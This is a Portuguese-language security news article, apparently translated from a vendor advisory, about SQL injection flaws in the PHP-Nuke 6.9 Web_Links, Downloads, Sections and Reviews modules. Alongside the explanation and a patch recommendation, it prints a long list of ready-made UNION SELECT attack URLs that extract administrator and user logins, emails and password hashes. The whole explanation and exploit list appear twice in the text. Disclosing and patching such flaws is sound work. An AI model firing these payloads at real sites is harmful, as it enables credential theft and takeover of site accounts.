Total Security - infoguerra.com.br
Bug de SQL injection no PHP-Nuke 6.9
O PHP-Nuke é um sistema de administração de portais web muito popular, utilizado por milhares de websites. Uma vulnerabilidade do tipo SQL injection foi encontrada na versão 6.9 do sistema.Vulnerabilidades foram encontradas nos módulos Web_Links, Downloads, Sections, Stories_Archives e Reviews. O ataque pode, por exemplo, fornecer ao atacante o login e a senha dos administradores do site.
Por exemplo, no módulo Web_Links, encontra-se em diversas funções requisições SQL do tipo:
select title,parentid from .$prefix._links_categories where cid=$cid
Uma vez executada, um elemento desta requisição é exibido ao usuário. Se, neste caso com a função viewlink(), nós passarmos à variável $cid o valor:
0 UNION SELECT pwd,0 FROM nuke_authors
A requisição SQL executada será:
select title,parentid from nuke_links_categories where cid=0 UNION SELECT pwd,0 FROM nuke_authors
Através disto nós iremos olhar nos campos da tabela nuke_links_categories onde $cid é igual a 0. Porém esta categoria não existe. Então iremos procurar na tabela nuke_autors o campo pwd. Esta tabela contém todas as informações dos administradores, suas senhas (pwd) encriptadas. O que será exibido, portanto, no lugar do nome da categoria, é a senha encriptada de um administrador.
De maneira semelhante, várias vulnerabilidades foram encontradas nos outros módulos citados anteriormente. Você pode ver as explicações detalhadas das vulnerabilidades nos demais módulos no alerta oficial da Security Corporation.
Correção - Patch
Foi liberado um patch, que você pode baixar aqui (46Kb). Recomendamos a aplicação imediata desta correção.
Exploits
Abaixo estão demonstradas diversas formas de explorar a vulnerabilidade. Utilize as mesmas para verificar se seu portal PHP-Nuke está vulnerável.
- http://[target]/modules.php?name=Web_Links&l_op=viewlink&cid=1%20UNION%20 SELECT%20pwd,0%20FROM%20nuke_authors%20LIMIT%201,2
- Mostrará a senha encriptada do administrador: http://[target]/modules.php?name=Web_Links&l_op=viewlink&cid=0%20UNION%20SEL ECT%20pwd,0%20FROM%20nuke_authors
- http://[target]/modules.php?name=Web_Links&l_op=brokenlink&lid=0%20UNION %20SELECT%201,aid,name,pwd%20FROM%20nuke_authors Exibirá o login, o nome e a senha de um administrador se o link 0 não existir
- http://[target]/modules.php?name=Web_Links&l_op=visit&lid=-1%20UNION%20 SELECT%20pwd%20FROM%20nuke_authors
- http://[target]/modules.php?name=Web_Links&l_op=viewlinkcomments&lid=-1%20 UNION%20SELECT%20aid,1,pwd,1%20FROM%20nuke_authors/* Mostrará todos os logins de administradores, e suas senhas encriptadas.
- http://[target]/modules.php?name=Web_Links&l_op=viewlinkeditorial&lid=-1 %20UNION%20SELECT%20name,1,pwd,aid%20FROM%20nuke_authors Mostrará todos os logins de administradores, seus nomes e suas senhas encriptadas.
- http://[target]/modules.php?name=Downloads&d_op=viewdownload&cid=-1%20 UNION%20SELECT%20user_id,username,user_password%20FROM%20nuke_users/* Exibirá todos os pseudos dos usuários, assim como suas senhas.
- http://[target]/modules.php?name=Downloads&d_op=modifydownloadrequest& lid=-1%20UNION%20SELECT%200,username,user_id,user_password,name, user_email,user_level,0,0%20FROM%20nuke_users Exibirá o login, ID, senha encriptada, nome, email e nível de todos usuários registrados.
- http://[target]/modules.php?name=Downloads&d_op=getit&lid=-1%20UNION%20 SELECT%20user_password%20FROM%20nuke_users%20WHERE%20user_id=5
- http://[target]/modules.php?name=Downloads&d_op=rateinfo&lid=-1%20UNION%20 SELECT%20user_password%20FROM%20nuke_users%20WHERE%20user_id=5 Obtém senha do usuário com ID 5.
- http://[target]/modules.php?name=Downloads&d_op=viewdownloadcomments& lid=-1%20UNION%20SELECT%20username,user_id,user_password,1%20 FROM%20nuke_users/*
- http://[target]/modules.php?name=Downloads&d_op=viewdownloadeditorial&lid=-1 %20UNION%20SELECT%20username,1,user_password,user_id%20FROM%20nuke_users Mostra logins, IDs e senhas encriptadas de todos membros.
- http://[target]/modules.php?name=Sections&op=listarticles&secid=-1%20UNION %20SELECT%20pwd%20FROM%20nuke_authors
- http://[target]/modules.php?name=Sections&op=listarticles&secid=-1%20UNION %20SELECT%200,0,pwd,0,0%20FROM%20nuke_authors%20WHERE%201/*
- http://[target]/modules.php?name=Sections&op=printpage&artid=-1%20UNION%20 SELECT%20aid,pwd%20FROM%20nuke_authors
- http://[target]/modules.php?name=Sections&op=viewarticle&artid=-1%20UNION%20 SELECT%200,0,aid,pwd,0%20FROM%20nuke_authors
- http://[target]/modules.php?name=Reviews&rop=showcontent&id=-1%20UNION%20 SELECT%200,0,aid,pwd,email,email,100,pwd,url,url,10000,name%20FROM%20nuke_autho rs/*
As informações foram obtidas no alerta oficial da Security Corporation. Tradução e edição exclusiva para a Total Security por Cristian Thiago Moecke.
Por exemplo, no módulo Web_Links, encontra-se em diversas funções requisições SQL do tipo:
select title,parentid from .$prefix._links_categories where cid=$cid
Uma vez executada, um elemento desta requisição é exibido ao usuário. Se, neste caso com a função viewlink(), nós passarmos à variável $cid o valor:
0 UNION SELECT pwd,0 FROM nuke_authors
A requisição SQL executada será:
select title,parentid from nuke_links_categories where cid=0 UNION SELECT pwd,0 FROM nuke_authors
Através disto nós iremos olhar nos campos da tabela nuke_links_categories onde $cid é igual a 0. Porém esta categoria não existe. Então iremos procurar na tabela nuke_autors o campo pwd. Esta tabela contém todas as informações dos administradores, suas senhas (pwd) encriptadas. O que será exibido, portanto, no lugar do nome da categoria, é a senha encriptada de um administrador.
De maneira semelhante, várias vulnerabilidades foram encontradas nos outros módulos citados anteriormente. Você pode ver as explicações detalhadas das vulnerabilidades nos demais módulos no alerta oficial da Security Corporation.
Correção - Patch
Foi liberado um patch, que você pode baixar aqui (46Kb). Recomendamos a aplicação imediata desta correção.
Exploits
Abaixo estão demonstradas diversas formas de explorar a vulnerabilidade. Utilize as mesmas para verificar se seu portal PHP-Nuke está vulnerável.
- http://[target]/modules.php?name=Web_Links&l_op=viewlink&cid=1%20UNION%20 SELECT%20pwd,0%20FROM%20nuke_authors%20LIMIT%201,2
- Mostrará a senha encriptada do administrador: http://[target]/modules.php?name=Web_Links&l_op=viewlink&cid=0%20UNION%20SEL ECT%20pwd,0%20FROM%20nuke_authors
- http://[target]/modules.php?name=Web_Links&l_op=brokenlink&lid=0%20UNION %20SELECT%201,aid,name,pwd%20FROM%20nuke_authors Exibirá o login, o nome e a senha de um administrador se o link 0 não existir
- http://[target]/modules.php?name=Web_Links&l_op=visit&lid=-1%20UNION%20 SELECT%20pwd%20FROM%20nuke_authors
- http://[target]/modules.php?name=Web_Links&l_op=viewlinkcomments&lid=-1%20 UNION%20SELECT%20aid,1,pwd,1%20FROM%20nuke_authors/* Mostrará todos os logins de administradores, e suas senhas encriptadas.
- http://[target]/modules.php?name=Web_Links&l_op=viewlinkeditorial&lid=-1 %20UNION%20SELECT%20name,1,pwd,aid%20FROM%20nuke_authors Mostrará todos os logins de administradores, seus nomes e suas senhas encriptadas.
- http://[target]/modules.php?name=Downloads&d_op=viewdownload&cid=-1%20 UNION%20SELECT%20user_id,username,user_password%20FROM%20nuke_users/* Exibirá todos os pseudos dos usuários, assim como suas senhas.
- http://[target]/modules.php?name=Downloads&d_op=modifydownloadrequest& lid=-1%20UNION%20SELECT%200,username,user_id,user_password,name, user_email,user_level,0,0%20FROM%20nuke_users Exibirá o login, ID, senha encriptada, nome, email e nível de todos usuários registrados.
- http://[target]/modules.php?name=Downloads&d_op=getit&lid=-1%20UNION%20 SELECT%20user_password%20FROM%20nuke_users%20WHERE%20user_id=5
- http://[target]/modules.php?name=Downloads&d_op=rateinfo&lid=-1%20UNION%20 SELECT%20user_password%20FROM%20nuke_users%20WHERE%20user_id=5 Obtém senha do usuário com ID 5.
- http://[target]/modules.php?name=Downloads&d_op=viewdownloadcomments& lid=-1%20UNION%20SELECT%20username,user_id,user_password,1%20 FROM%20nuke_users/*
- http://[target]/modules.php?name=Downloads&d_op=viewdownloadeditorial&lid=-1 %20UNION%20SELECT%20username,1,user_password,user_id%20FROM%20nuke_users Mostra logins, IDs e senhas encriptadas de todos membros.
- http://[target]/modules.php?name=Sections&op=listarticles&secid=-1%20UNION %20SELECT%20pwd%20FROM%20nuke_authors
- http://[target]/modules.php?name=Sections&op=listarticles&secid=-1%20UNION %20SELECT%200,0,pwd,0,0%20FROM%20nuke_authors%20WHERE%201/*
- http://[target]/modules.php?name=Sections&op=printpage&artid=-1%20UNION%20 SELECT%20aid,pwd%20FROM%20nuke_authors
- http://[target]/modules.php?name=Sections&op=viewarticle&artid=-1%20UNION%20 SELECT%200,0,aid,pwd,0%20FROM%20nuke_authors
- http://[target]/modules.php?name=Reviews&rop=showcontent&id=-1%20UNION%20 SELECT%200,0,aid,pwd,email,email,100,pwd,url,url,10000,name%20FROM%20nuke_autho rs/*
As informações foram obtidas no alerta oficial da Security Corporation. Tradução e edição exclusiva para a Total Security por Cristian Thiago Moecke.
Fonte:
Eu escrevi
URL Fonte: https://infoguerra.com.br/noticia/439/visualizar/
Comentários